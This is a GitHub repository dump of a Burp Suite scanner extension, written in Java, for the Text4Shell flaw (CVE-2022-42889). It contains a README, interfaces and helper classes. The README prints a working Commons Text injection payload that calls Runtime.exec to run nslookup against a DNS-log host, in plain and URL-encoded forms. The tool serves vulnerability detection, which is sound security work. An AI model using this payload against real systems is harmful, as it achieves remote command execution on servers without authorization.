├── Text4Shell.iml ├── img ├── image-20221217013031381.png ├── image-20221217013353536.png ├── image-20221217013651624.png ├── image-20221217013717306.png └── image-20221217014026078.png ├── src └── main │ ├── java │ └── burp │ │ ├── Application │ │ ├── .DS_Store │ │ ├── ExtensionInterface │ │ │ ├── IAppExtension.java │ │ │ └── AAppExtension.java │ │ └── RemoteCmdExtension │ │ │ ├── RemoteCmd.java │ │ │ └── ExtensionMethod │ │ │ └── RemoteCmdScan.java │ │ ├── DnsLogModule │ │ ├── ExtensionInterface │ │ │ ├── DnsLogInterface.java │ │ │ └── DnsLogAbstract.java │ │ ├── DnsLog.java │ │ └── ExtensionMethod │ │ │ ├── DnsLogPrivate.java │ │ │ ├── BurpDnsLog.java │ │ │ ├── Ceye.java │ │ │ └── DnsLogCn.java │ │ ├── CustomErrorException │ │ └── TaskTimeoutException.java │ │ ├── Bootstrap │ │ ├── GlobalVariableReader.java │ │ ├── CustomBurpParameters.java │ │ ├── CustomBurpHelpers.java │ │ ├── CustomBurpUrl.java │ │ ├── CustomHelpers.java │ │ ├── YamlReader.java │ │ └── BurpAnalyzedRequest.java │ │ ├── CustomScanIssue.java │ │ ├── UI │ │ └── Tags.java │ │ └── BurpExtender.java │ └── resources │ └── config.yml ├── README.md └── pom.xml /Text4Shell.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /img/image-20221217013031381.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/BurpText4ShellScan/HEAD/img/image-20221217013031381.png -------------------------------------------------------------------------------- /img/image-20221217013353536.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/BurpText4ShellScan/HEAD/img/image-20221217013353536.png -------------------------------------------------------------------------------- /img/image-20221217013651624.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/BurpText4ShellScan/HEAD/img/image-20221217013651624.png -------------------------------------------------------------------------------- /img/image-20221217013717306.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/BurpText4ShellScan/HEAD/img/image-20221217013717306.png -------------------------------------------------------------------------------- /img/image-20221217014026078.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/BurpText4ShellScan/HEAD/img/image-20221217014026078.png -------------------------------------------------------------------------------- /src/main/java/burp/Application/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/A0WaQ4/BurpText4ShellScan/HEAD/src/main/java/burp/Application/.DS_Store -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionInterface/DnsLogInterface.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionInterface; 2 | 3 | /** 4 | * DnsLog扩展的公共接口 5 | * 所有的抽象类都要继承它并实现所有的接口 6 | */ 7 | public interface DnsLogInterface { 8 | String getExtensionName(); 9 | 10 | String getTemporaryDomainName(); 11 | 12 | String getBodyContent(); 13 | 14 | void sendAccessLog(String value); 15 | 16 | String export(); 17 | 18 | void consoleExport(); 19 | } -------------------------------------------------------------------------------- /src/main/java/burp/CustomErrorException/TaskTimeoutException.java: -------------------------------------------------------------------------------- 1 | package burp.CustomErrorException; 2 | 3 | public class TaskTimeoutException extends RuntimeException { 4 | public TaskTimeoutException() { 5 | super(); 6 | } 7 | 8 | public TaskTimeoutException(String message) { 9 | super(message); 10 | } 11 | 12 | public TaskTimeoutException(Throwable cause) { 13 | super(cause); 14 | } 15 | 16 | public TaskTimeoutException(String message, Throwable cause) { 17 | super(message, cause); 18 | } 19 | } -------------------------------------------------------------------------------- /src/main/java/burp/Application/ExtensionInterface/IAppExtension.java: -------------------------------------------------------------------------------- 1 | package burp.Application.ExtensionInterface; 2 | 3 | import burp.IHttpRequestResponse; 4 | import burp.IScanIssue; 5 | 6 | /** 7 | * Application扩展程序的公共接口 8 | * 所有Application扩展的抽象类都要继承它并实现所有的接口,才能正常运行 9 | */ 10 | public interface IAppExtension { 11 | /** 12 | * 获取-扩展名称 13 | * 14 | * @return 15 | */ 16 | String getExtensionName(); 17 | 18 | /** 19 | * 是否注册了该扩展 20 | * 21 | * @return 22 | */ 23 | Boolean isRegister(); 24 | 25 | /** 26 | * 是否有问题 27 | * 28 | * @return 29 | */ 30 | Boolean isIssue(); 31 | 32 | /** 33 | * 获得-http请求响应 34 | * 35 | * @return 36 | */ 37 | IHttpRequestResponse getHttpRequestResponse(); 38 | 39 | /** 40 | * burp问题详情输出 41 | * 42 | * @return 43 | */ 44 | IScanIssue export(); 45 | 46 | /** 47 | * 控制台输出 48 | */ 49 | void consoleExport(); 50 | } 51 | -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/GlobalVariableReader.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.util.Map; 4 | import java.util.concurrent.ConcurrentHashMap; 5 | 6 | public class GlobalVariableReader { 7 | private ConcurrentHashMap booleanMap; 8 | 9 | public GlobalVariableReader() { 10 | this.booleanMap = new ConcurrentHashMap(); 11 | } 12 | 13 | public Map getBooleanMap() { 14 | return this.booleanMap; 15 | } 16 | 17 | public Boolean getBooleanData(String key) { 18 | return this.getBooleanMap().get(key); 19 | } 20 | 21 | public void putBooleanData(String key, Boolean b) { 22 | if (key == null || key.length() <= 0) { 23 | throw new IllegalArgumentException("key不能为空"); 24 | } 25 | 26 | synchronized (this.getBooleanMap()) { 27 | this.getBooleanMap().put(key, b); 28 | } 29 | } 30 | 31 | public void delBooleanData(String key) { 32 | if (this.getBooleanMap().get(key) != null) { 33 | this.getBooleanMap().remove(key); 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/DnsLog.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule; 2 | 3 | import java.lang.reflect.Constructor; 4 | import java.lang.reflect.InvocationTargetException; 5 | 6 | import burp.IBurpExtenderCallbacks; 7 | import burp.DnsLogModule.ExtensionInterface.DnsLogInterface; 8 | 9 | public class DnsLog { 10 | private DnsLogInterface dnsLog; 11 | 12 | public DnsLog(IBurpExtenderCallbacks callbacks, String callClassName) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException { 13 | if (callClassName == null || callClassName.length() <= 0) { 14 | throw new IllegalArgumentException("DnsLog模块-请输入要调用的dnsLog插件"); 15 | } 16 | 17 | Class c = Class.forName("burp.DnsLogModule.ExtensionMethod." + callClassName); 18 | Constructor cConstructor = c.getConstructor(IBurpExtenderCallbacks.class); 19 | this.dnsLog = (DnsLogInterface) cConstructor.newInstance(callbacks); 20 | 21 | if (this.dnsLog.getExtensionName().isEmpty()) { 22 | throw new IllegalArgumentException("请为该DnsLog扩展-设置扩展名称"); 23 | } 24 | } 25 | 26 | public DnsLogInterface run() { 27 | return this.dnsLog; 28 | } 29 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BurpText4ShellScan 2 | 3 | --- 4 | 5 | 使用java编写的Text4shell burp被动扫描插件 6 | 7 | # 简介 8 | 9 | --- 10 | 11 | java maven项目,可以使用`mvn package`进行编译 12 | 13 | # 更新 14 | 15 | --- 16 | 17 | ``` 18 | 1.0 - 首次上传,对所有经过burp的包进行被动扫描,扫描对象包括了json、xml、fileupload 19 | 1.1 - 修复了body为空时导致的检测错误,修复了对URL参数不检测的错误 20 | 1.2 - 修复了body仅有json与xml时出现的参数构造错误,修复了dns二次检测时未获取key导致的错误 21 | 1.3 - 添加了主动扫描功能 22 | 1.4 - 添加了header黑名单功能,可以在resources/config.yml中修改 23 | ``` 24 | 25 | # payload 26 | 27 | --- 28 | 29 | ``` 30 | - "%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nslookup+dns-url%27%29%7D" 31 | - "${script:javascript:java.lang.Runtime.getRuntime().exec('nslookup dns-url')}" 32 | ``` 33 | 34 | 可以在`resources/config.yml`修改 35 | 36 | # 使用 37 | 38 | --- 39 | 40 | ### 0x01 搭建环境 41 | 42 | 使用github中的[https://github.com/karthikuj/cve-2022-42889-text4shell-docker](https://github.com/karthikuj/cve-2022-42889-text4shell-docker)搭建环境 43 | 44 | ![image-20221217013031381](https://github.com/A0WaQ4/BurpText4ShellScan/blob/main/img/image-20221217013031381.png) 45 | 46 | 47 | 48 | ### 0x02 插件 49 | 50 | 代理访问`http://yourip:80/text4shell/attack?search=aaa`,开始扫描 51 | 52 | 在logger中可看见插件发送的包 53 | 54 | ![image-20221217013353536](https://github.com/A0WaQ4/BurpText4ShellScan/blob/main/img/image-20221217013353536.png) 55 | 56 | 仅对是否可以dnslog进行扫描,若dnslog接受到请求,则爆出漏洞 57 | 58 | ![image-20221217013651624](https://github.com/A0WaQ4/BurpText4ShellScan/blob/main/img/image-20221217013651624.png) 59 | 60 | ![image-20221217013717306](https://github.com/A0WaQ4/BurpText4ShellScan/blob/main/img/image-20221217013717306.png) 61 | 62 | ### 0x03 配置 63 | 64 | 在`resources/config.yml`中的`dnsLogModule`修改dnslog配置,使用时可以修改为自搭建的DnsLog服务器 65 | 66 | ![image-20221217014026078](https://github.com/A0WaQ4/BurpText4ShellScan/blob/main/img/image-20221217014026078.png) 67 | 68 | 69 | 70 | # 参考 71 | 72 | --- 73 | 74 | [https://github.com/pmiaowu/BurpFastJsonScan](https://github.com/pmiaowu/BurpFastJsonScan) 75 | 76 | [https://github.com/f0ng/log4j2burpscanner](https://github.com/f0ng/log4j2burpscanner) 77 | 78 | # 免责声明 79 | 80 | --- 81 | 82 | 该工具仅用于安全自查检测 83 | 84 | 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 85 | 86 | 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/CustomBurpParameters.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import burp.*; 4 | 5 | import java.io.PrintWriter; 6 | import java.net.URL; 7 | import java.util.List; 8 | 9 | public class CustomBurpParameters { 10 | 11 | private IBurpExtenderCallbacks callbacks; 12 | private IExtensionHelpers helpers; 13 | 14 | public PrintWriter stderr; 15 | 16 | 17 | private IHttpRequestResponse requestResponse; 18 | private List parameters; 19 | private IRequestInfo iRequestInfo; 20 | private List requestHeaders; 21 | 22 | public CustomBurpParameters(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse) { 23 | this.callbacks = callbacks; 24 | this.helpers = callbacks.getHelpers(); 25 | this.stderr = new PrintWriter(callbacks.getStderr(), true); 26 | 27 | this.requestResponse = requestResponse; 28 | this.iRequestInfo = this.helpers.analyzeRequest(this.requestResponse); 29 | this.parameters = iRequestInfo.getParameters(); 30 | this.requestHeaders = iRequestInfo.getHeaders(); 31 | } 32 | 33 | /** 34 | * 判断请求包中是否存在参数 35 | * 36 | * @return 37 | */ 38 | public boolean isEmptyParameters(){ 39 | return this.parameters.isEmpty(); 40 | } 41 | 42 | /** 43 | * 判断请求是否为json 44 | * 45 | * @return 46 | */ 47 | public boolean isJson(){ 48 | for(String requestHeader:this.requestHeaders){ 49 | if(requestHeader.startsWith("Content-Type:")&&requestHeader.contains("application/json")) 50 | return true; 51 | } 52 | return false; 53 | } 54 | 55 | /** 56 | * 判断请求是否为普通类型 57 | * 58 | * @return 59 | */ 60 | public boolean isXFormUrlencoded(){ 61 | for(String requestHeader:this.requestHeaders){ 62 | if(requestHeader.startsWith("Content-Type:")&&requestHeader.contains("application/x-www-form-urlencoded")) 63 | return true; 64 | } 65 | return false; 66 | } 67 | 68 | 69 | /** 70 | * 获取请求的参数 71 | * 72 | * @return 73 | */ 74 | public List getParameters(){ 75 | return this.parameters; 76 | } 77 | 78 | } 79 | -------------------------------------------------------------------------------- /src/main/java/burp/Application/ExtensionInterface/AAppExtension.java: -------------------------------------------------------------------------------- 1 | package burp.Application.ExtensionInterface; 2 | 3 | import burp.IHttpRequestResponse; 4 | 5 | /** 6 | * Application扩展的抽象类 7 | * 所有的 Application扩展 都要继承它并实现所有的接口,才能正常运行 8 | */ 9 | public abstract class AAppExtension implements IAppExtension { 10 | private String extensionName = ""; 11 | 12 | private Boolean isRegister = false; 13 | 14 | private Boolean isIssues = false; 15 | 16 | private IHttpRequestResponse httpRequestResponse; 17 | 18 | /** 19 | * 设置扩展名称 (必须的) 20 | * 21 | * @param name 22 | */ 23 | protected void setExtensionName(String name) { 24 | if (name == null || name.isEmpty()) { 25 | throw new IllegalArgumentException("Application-扩展名称不能为空"); 26 | } 27 | this.extensionName = name; 28 | } 29 | 30 | /** 31 | * 获取扩展名称 32 | * 33 | * @return String 34 | */ 35 | @Override 36 | public String getExtensionName() { 37 | return this.extensionName; 38 | } 39 | 40 | /** 41 | * 注册插件 (必须的) 42 | * 扩展在运行之前必须调用该接口注册, 否则将无法调用本类的其他方法 43 | */ 44 | protected void registerExtension() { 45 | this.isRegister = true; 46 | } 47 | 48 | /** 49 | * 是否注册了该扩展 50 | * true 注册, false 未注册 51 | * 注: 未注册的扩展禁止执行 52 | * 53 | * @return Boolean 54 | */ 55 | @Override 56 | public Boolean isRegister() { 57 | return this.isRegister; 58 | } 59 | 60 | /** 61 | * 设置问题状态 62 | */ 63 | protected void setIssueState(Boolean state) { 64 | this.isIssues = state; 65 | } 66 | 67 | /** 68 | * 是否有问题 69 | * 70 | * @return 71 | */ 72 | @Override 73 | public Boolean isIssue() { 74 | return this.isIssues; 75 | } 76 | 77 | /** 78 | * 设置http请求与响应对象 79 | * 80 | * @param httpRequestResponse 81 | */ 82 | protected void setHttpRequestResponse(IHttpRequestResponse httpRequestResponse) { 83 | this.httpRequestResponse = httpRequestResponse; 84 | } 85 | 86 | /** 87 | * 获取http请求与响应对象 88 | * 89 | * @return IHttpRequestResponse 90 | */ 91 | @Override 92 | public IHttpRequestResponse getHttpRequestResponse() { 93 | return this.httpRequestResponse; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/burp/CustomScanIssue.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.net.URL; 4 | 5 | public class CustomScanIssue implements IScanIssue { 6 | private URL url; 7 | private String issueName; 8 | private int issueType; 9 | private String severity; 10 | private String confidence; 11 | private String issueBackground; 12 | private String remediationBackground; 13 | private String issueDetail; 14 | private String remediationDetail; 15 | private IHttpRequestResponse[] httpMessages; 16 | private IHttpService httpService; 17 | 18 | public CustomScanIssue( 19 | URL url, 20 | String issueName, 21 | int issueType, 22 | String severity, 23 | String confidence, 24 | String issueBackground, 25 | String remediationBackground, 26 | String issueDetail, 27 | String remediationDetail, 28 | IHttpRequestResponse[] httpMessages, 29 | IHttpService httpService) { 30 | this.url = url; 31 | this.issueName = issueName; 32 | this.issueType = issueType; 33 | this.severity = severity; 34 | this.confidence = confidence; 35 | this.issueBackground = issueBackground; 36 | this.remediationBackground = remediationBackground; 37 | this.issueDetail = issueDetail; 38 | this.remediationDetail = remediationDetail; 39 | this.httpMessages = httpMessages; 40 | this.httpService = httpService; 41 | } 42 | 43 | @Override 44 | public URL getUrl() { 45 | return this.url; 46 | } 47 | 48 | @Override 49 | public String getIssueName() { 50 | return this.issueName; 51 | } 52 | 53 | @Override 54 | public int getIssueType() { 55 | return this.issueType; 56 | } 57 | 58 | @Override 59 | public String getSeverity() { 60 | return this.severity; 61 | } 62 | 63 | @Override 64 | public String getConfidence() { 65 | return this.confidence; 66 | } 67 | 68 | @Override 69 | public String getIssueBackground() { 70 | return this.issueBackground; 71 | } 72 | 73 | @Override 74 | public String getRemediationBackground() { 75 | return this.remediationBackground; 76 | } 77 | 78 | @Override 79 | public String getIssueDetail() { 80 | return this.issueDetail; 81 | } 82 | 83 | @Override 84 | public String getRemediationDetail() { 85 | return this.remediationDetail; 86 | } 87 | 88 | @Override 89 | public IHttpRequestResponse[] getHttpMessages() { 90 | return this.httpMessages; 91 | } 92 | 93 | @Override 94 | public IHttpService getHttpService() { 95 | return this.httpService; 96 | } 97 | } 98 | -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionInterface/DnsLogAbstract.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionInterface; 2 | 3 | import com.github.kevinsawicki.http.HttpRequest; 4 | 5 | public abstract class DnsLogAbstract implements DnsLogInterface { 6 | private String extensionName = ""; 7 | 8 | private String temporaryDomainName; 9 | 10 | /** 11 | * 设置扩展名称 (必须的) 12 | * 13 | * @param value 14 | */ 15 | protected void setExtensionName(String value) { 16 | if (value == null || value.isEmpty()) { 17 | throw new IllegalArgumentException("DnsLog扩展-扩展名称不能为空"); 18 | } 19 | this.extensionName = value; 20 | } 21 | 22 | /** 23 | * 获取扩展名称 24 | * 25 | * @return String 26 | */ 27 | @Override 28 | public String getExtensionName() { 29 | return this.extensionName; 30 | } 31 | 32 | /** 33 | * 设置临时域名 34 | * 35 | * @param value 36 | */ 37 | protected void setTemporaryDomainName(String value) { 38 | this.temporaryDomainName = value; 39 | } 40 | 41 | /** 42 | * 获取临时域名 43 | * 44 | * @return String 45 | */ 46 | @Override 47 | public String getTemporaryDomainName() { 48 | return this.temporaryDomainName; 49 | } 50 | 51 | /** 52 | * 发送访问日志 53 | *

54 | * 根据传进来的 value 进行域名拼接, 接着以http get请求进行访问 55 | * 例如: 56 | * 临时域名: fs.dnslog.cn 57 | * value: testlog 58 | * 拼接:http://testlog.fs.dnslog.cn 然后以http get请求进行访问,结束 59 | * 60 | * @param value 61 | */ 62 | @Override 63 | public void sendAccessLog(String value) { 64 | if (this.getTemporaryDomainName() == null || this.getTemporaryDomainName().isEmpty()) { 65 | throw new IllegalArgumentException("临时域名获取失败, 无法发送日志"); 66 | } 67 | 68 | if (value == null || value.isEmpty()) { 69 | throw new IllegalArgumentException("sendAccessLog()方法, value参数不能为空"); 70 | } 71 | 72 | String domainName = "http://" + value + "." + this.getTemporaryDomainName(); 73 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 74 | 75 | HttpRequest request = HttpRequest.get(domainName); 76 | request.trustAllCerts(); 77 | request.trustAllHosts(); 78 | request.followRedirects(false); 79 | request.header("User-Agent", userAgent); 80 | request.header("Accept", "*/*"); 81 | request.readTimeout(3 * 1000); 82 | request.connectTimeout(3 * 1000); 83 | 84 | try { 85 | request.ok(); 86 | } catch (Exception e) { 87 | // 这里选择不处理, 因为发送过去的域名肯定是连接不到的 88 | // 所以必定爆错, 因此直接屏蔽该接口的爆错即可 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/CustomBurpHelpers.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.io.File; 4 | import java.io.UnsupportedEncodingException; 5 | 6 | import burp.*; 7 | 8 | public class CustomBurpHelpers { 9 | private IBurpExtenderCallbacks callbacks; 10 | private IExtensionHelpers helpers; 11 | 12 | public CustomBurpHelpers(IBurpExtenderCallbacks callbacks) { 13 | this.callbacks = callbacks; 14 | this.helpers = callbacks.getHelpers(); 15 | } 16 | 17 | /** 18 | * 获取-插件运行路径 19 | * 20 | * @return 21 | */ 22 | public String getExtensionFilePath() { 23 | String path = ""; 24 | Integer lastIndex = this.callbacks.getExtensionFilename().lastIndexOf(File.separator); 25 | path = this.callbacks.getExtensionFilename().substring(0, lastIndex) + File.separator; 26 | return path; 27 | } 28 | 29 | /** 30 | * 获取请求的Body内容 31 | * 32 | * @return String 33 | */ 34 | public String getHttpRequestBody(byte[] request) { 35 | IRequestInfo requestInfo = this.helpers.analyzeRequest(request); 36 | 37 | int httpRequestBodyOffset = requestInfo.getBodyOffset(); 38 | int httpRequestBodyLength = request.length - httpRequestBodyOffset; 39 | 40 | String httpRequestBody = null; 41 | try { 42 | httpRequestBody = new String(request, httpRequestBodyOffset, httpRequestBodyLength, "UTF-8"); 43 | } catch (UnsupportedEncodingException e) { 44 | throw new RuntimeException(e); 45 | } 46 | return httpRequestBody; 47 | } 48 | 49 | /** 50 | * 获取请求的Body内容 51 | * 52 | * @return String 53 | */ 54 | public String getHttpRequestBodyIsNullOrNo(byte[] request) { 55 | IRequestInfo requestInfo = this.helpers.analyzeRequest(request); 56 | 57 | int httpRequestBodyOffset = requestInfo.getBodyOffset(); 58 | int httpRequestBodyLength = request.length - httpRequestBodyOffset; 59 | 60 | if(httpRequestBodyLength == 0){ 61 | return null; 62 | } 63 | String httpRequestBody = null; 64 | try { 65 | httpRequestBody = new String(request, httpRequestBodyOffset, httpRequestBodyLength, "UTF-8"); 66 | } catch (UnsupportedEncodingException e) { 67 | throw new RuntimeException(e); 68 | } 69 | return httpRequestBody; 70 | } 71 | 72 | /** 73 | * 获取响应的Body内容 74 | * 75 | * @return String 76 | */ 77 | public String getHttpResponseBody(byte[] response) { 78 | IResponseInfo responseInfo = this.helpers.analyzeResponse(response); 79 | 80 | int httpResponseBodyOffset = responseInfo.getBodyOffset(); 81 | int httpResponseBodyLength = response.length - httpResponseBodyOffset; 82 | 83 | String httpResponseBody = null; 84 | try { 85 | httpResponseBody = new String(response, httpResponseBodyOffset, httpResponseBodyLength, "UTF-8"); 86 | } catch (UnsupportedEncodingException e) { 87 | throw new RuntimeException(e); 88 | } 89 | return httpResponseBody; 90 | } 91 | } -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/CustomBurpUrl.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.net.URL; 4 | import java.io.PrintWriter; 5 | import java.net.MalformedURLException; 6 | 7 | import burp.IExtensionHelpers; 8 | import burp.IHttpRequestResponse; 9 | import burp.IBurpExtenderCallbacks; 10 | 11 | public class CustomBurpUrl { 12 | private IBurpExtenderCallbacks callbacks; 13 | private IExtensionHelpers helpers; 14 | 15 | public PrintWriter stderr; 16 | 17 | private IHttpRequestResponse requestResponse; 18 | 19 | public CustomBurpUrl(IBurpExtenderCallbacks callbacks, IHttpRequestResponse requestResponse) { 20 | this.callbacks = callbacks; 21 | this.helpers = callbacks.getHelpers(); 22 | this.stderr = new PrintWriter(callbacks.getStderr(), true); 23 | 24 | this.requestResponse = requestResponse; 25 | } 26 | 27 | public IHttpRequestResponse requestResponse() { 28 | return this.requestResponse; 29 | } 30 | 31 | /** 32 | * 获取-请求协议 33 | * 34 | * @return 35 | */ 36 | public String getRequestProtocol() { 37 | return this.requestResponse.getHttpService().getProtocol(); 38 | } 39 | 40 | /** 41 | * 获取-请求主机 42 | * 43 | * @return 44 | */ 45 | public String getRequestHost() { 46 | return this.requestResponse.getHttpService().getHost(); 47 | } 48 | 49 | /** 50 | * 获取-请求端口 51 | * 52 | * @return 53 | */ 54 | public int getRequestPort() { 55 | return this.requestResponse.getHttpService().getPort(); 56 | } 57 | 58 | /** 59 | * 获取-请求路径 60 | * 61 | * @return 62 | */ 63 | public String getRequestPath() { 64 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getPath(); 65 | } 66 | 67 | /** 68 | * 获取-请求参数 69 | * 70 | * @return 71 | */ 72 | public String getRequestQuery() { 73 | return this.helpers.analyzeRequest(this.requestResponse).getUrl().getQuery(); 74 | } 75 | 76 | /** 77 | * 获取-请求域名名称 78 | * 79 | * @return 80 | */ 81 | public String getRequestDomainName() { 82 | if (this.getRequestPort() == 80 || this.getRequestPort() == 443) { 83 | return this.getRequestProtocol() + "://" + this.getRequestHost(); 84 | } else { 85 | return this.getRequestProtocol() + "://" + this.getRequestHost() + ":" + this.getRequestPort(); 86 | } 87 | } 88 | 89 | /** 90 | * 获取-获取http请求url 91 | * 92 | * @return 93 | */ 94 | public URL getHttpRequestUrl() { 95 | try { 96 | if (this.getRequestQuery() == null) { 97 | return new URL(this.getRequestDomainName() + this.getRequestPath()); 98 | } else { 99 | return new URL(this.getRequestDomainName() + this.getRequestPath() + "?" + this.getRequestQuery()); 100 | } 101 | } catch (MalformedURLException e) { 102 | e.printStackTrace(this.stderr); 103 | } 104 | return null; 105 | } 106 | } -------------------------------------------------------------------------------- /src/main/java/burp/DnsLogModule/ExtensionMethod/DnsLogPrivate.java: -------------------------------------------------------------------------------- 1 | package burp.DnsLogModule.ExtensionMethod; 2 | 3 | import burp.Bootstrap.CustomHelpers; 4 | import burp.Bootstrap.YamlReader; 5 | import burp.DnsLogModule.ExtensionInterface.DnsLogAbstract; 6 | import burp.IBurpExtenderCallbacks; 7 | import com.github.kevinsawicki.http.HttpRequest; 8 | 9 | public class DnsLogPrivate extends DnsLogAbstract { 10 | private IBurpExtenderCallbacks callbacks; 11 | 12 | private String dnslogDomainName; 13 | 14 | private YamlReader yamlReader; 15 | 16 | private String key; 17 | private String dnsDomain; 18 | private String Identifier; 19 | 20 | public DnsLogPrivate(IBurpExtenderCallbacks callbacks) { 21 | this.callbacks = callbacks; 22 | 23 | this.yamlReader = YamlReader.getInstance(callbacks); 24 | this.dnslogDomainName = this.yamlReader.getString("dnsLogModule.other"); 25 | 26 | this.setExtensionName("DnsLogPrivate"); 27 | 28 | String other = this.yamlReader.getString("dnsLogModule.other"); 29 | 30 | this.key = CustomHelpers.randomStr(8); 31 | this.dnsDomain = CustomHelpers.getParam(other, "DnsDomain").trim(); 32 | this.Identifier = CustomHelpers.getParam(other, "Identifier").trim(); 33 | 34 | this.init(); 35 | } 36 | 37 | private void init() { 38 | if (this.dnsDomain == null || this.dnsDomain.length() <= 0) { 39 | throw new RuntimeException(String.format("%s 扩展-dnsDomain参数不能为空", this.getExtensionName())); 40 | } 41 | if (this.Identifier == null || this.Identifier.length() <= 0) { 42 | throw new RuntimeException(String.format("%s 扩展-Identifier参数不能为空", this.getExtensionName())); 43 | } 44 | 45 | String temporaryDomainName = this.key + "." + this.dnsDomain; 46 | this.setTemporaryDomainName(temporaryDomainName); 47 | } 48 | 49 | @Override 50 | public String getBodyContent() { 51 | String url = String.format("%s", this.Identifier); 52 | String userAgent = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; 53 | HttpRequest request = HttpRequest.get(url); 54 | request.trustAllCerts(); 55 | request.trustAllHosts(); 56 | request.followRedirects(false); 57 | request.header("User-Agent", userAgent); 58 | request.header("Accept", "*/*"); 59 | request.readTimeout(30 * 1000); 60 | request.connectTimeout(30 * 1000); 61 | 62 | String body = request.body(); 63 | 64 | if (!request.ok()) { 65 | throw new RuntimeException( 66 | String.format( 67 | "%s 扩展-%s内容有异常,异常内容: %s", 68 | this.getExtensionName(), 69 | this.dnslogDomainName, 70 | body 71 | ) 72 | ); 73 | } 74 | 75 | if (body == null) { 76 | return null; 77 | } 78 | return body; 79 | } 80 | 81 | @Override 82 | public String export() { 83 | return null; 84 | } 85 | 86 | @Override 87 | public void consoleExport() { 88 | 89 | } 90 | } 91 | -------------------------------------------------------------------------------- /src/main/java/burp/Bootstrap/CustomHelpers.java: -------------------------------------------------------------------------------- 1 | package burp.Bootstrap; 2 | 3 | import java.util.*; 4 | 5 | public class CustomHelpers { 6 | /** 7 | * 随机取若干个字符 8 | * 9 | * @param number 10 | * @return String 11 | */ 12 | public static String randomStr(int number) { 13 | StringBuffer s = new StringBuffer(); 14 | char[] stringArray = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 15 | 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 16 | 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', 17 | '7', '8', '9'}; 18 | Random random = new Random(); 19 | for (int i = 0; i < number; i++) { 20 | char num = stringArray[random.nextInt(stringArray.length)]; 21 | s.append(num); 22 | } 23 | return s.toString(); 24 | } 25 | 26 | /** 27 | * 获取精确到秒的时间戳 28 | * 29 | * @param date 30 | * @return Integer 31 | */ 32 | public static Integer getSecondTimestamp(Date date) { 33 | if (null == date) { 34 | return 0; 35 | } 36 | String timestamp = String.valueOf(date.getTime() / 1000); 37 | return Integer.valueOf(timestamp); 38 | } 39 | 40 | public static boolean isJson(String str) { 41 | boolean result = false; 42 | if (str != null && !str.isEmpty()) { 43 | str = str.trim(); 44 | if (str.startsWith("{") && str.endsWith("}")) { 45 | result = true; 46 | } else if (str.startsWith("[") && str.endsWith("]")) { 47 | result = true; 48 | } 49 | } 50 | return result; 51 | } 52 | 53 | /** 54 | * 获取参数数据 55 | * 例如: 56 | * getParam("token=xx;Identifier=xxx;", "token"); 返回: xx 57 | * 58 | * @param d 被查找的数据 59 | * @param paramName 要查找的字段 60 | * @return 61 | */ 62 | public static String getParam(final String d, final String paramName) { 63 | if (d == null || d.length() == 0) 64 | return null; 65 | 66 | String value = "test=test;" + d; 67 | 68 | final int length = value.length(); 69 | int start = value.indexOf(';') + 1; 70 | if (start == 0 || start == length) 71 | return null; 72 | 73 | int end = value.indexOf(';', start); 74 | if (end == -1) 75 | end = length; 76 | 77 | while (start < end) { 78 | int nameEnd = value.indexOf('=', start); 79 | if (nameEnd != -1 && nameEnd < end 80 | && paramName.equals(value.substring(start, nameEnd).trim())) { 81 | String paramValue = value.substring(nameEnd + 1, end).trim(); 82 | int valueLength = paramValue.length(); 83 | if (valueLength != 0) 84 | if (valueLength > 2 && '"' == paramValue.charAt(0) 85 | && '"' == paramValue.charAt(valueLength - 1)) 86 | return paramValue.substring(1, valueLength - 1); 87 | else 88 | return paramValue; 89 | } 90 | 91 | start = end + 1; 92 | end = value.indexOf(';', start); 93 | if (end == -1) 94 | end = length; 95 | } 96 | 97 | return null; 98 | } 99 | } -------------------------------------------------------------------------------- 